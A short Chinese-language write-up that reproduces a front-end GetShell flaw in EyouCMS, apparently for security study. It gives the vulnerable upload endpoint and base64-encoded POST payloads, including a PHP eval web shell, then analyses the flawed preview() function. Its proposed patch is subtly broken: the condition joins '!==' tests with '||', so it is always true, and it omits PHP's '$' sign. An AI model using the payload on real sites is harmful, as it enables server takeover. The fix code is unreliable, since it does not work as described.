EyouCms前台GetShell漏洞复现

时间:2022-07-24
本文章向大家介绍EyouCms前台GetShell漏洞复现,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

文章源自【字节脉搏社区】-字节脉搏实验室

作者-Beginners

0x01 EyouCms前台GetShell漏洞复现

EyouCms是一个自由和开放源码的内容管理系统,它是一个可以独立使用的内容发布系统(CMS)

0x02 漏洞复现:

利用路径:

/index.php/api/Uploadify/preview

POST数据构造:

data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==

直接访问:/preview/文件名.php

测试写入Shell:

data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs=

0x03 代码分析:

漏洞文件:applicationapicontrollerUploadify.php

漏洞触发函数:preview()

获取POST构造输入的数据,在利用preg_match()获取其中文件后缀和Base64编码数据赋值于$matches;

把获取的Base64编码数据matches[2]和文件后缀matches[1]拼接为文件名

判断文件是否存在,若不存在则Base64进行base64解码后通过file_put_contents()写入文件中后输出filename(文件名);到/preview/目录下;

0x04 漏洞修复:

使用白名单判断文件名后缀;

在Uploadify.php中213行到214行的代码修改为如下:

if (type !== 'jpeg' || type !=='png' || type !=='gif' || type!=='jpg') {
 exit();
}

0x05 Cms下载地址:

下载地址:

https://share.weiyun.com/DGjtKLuR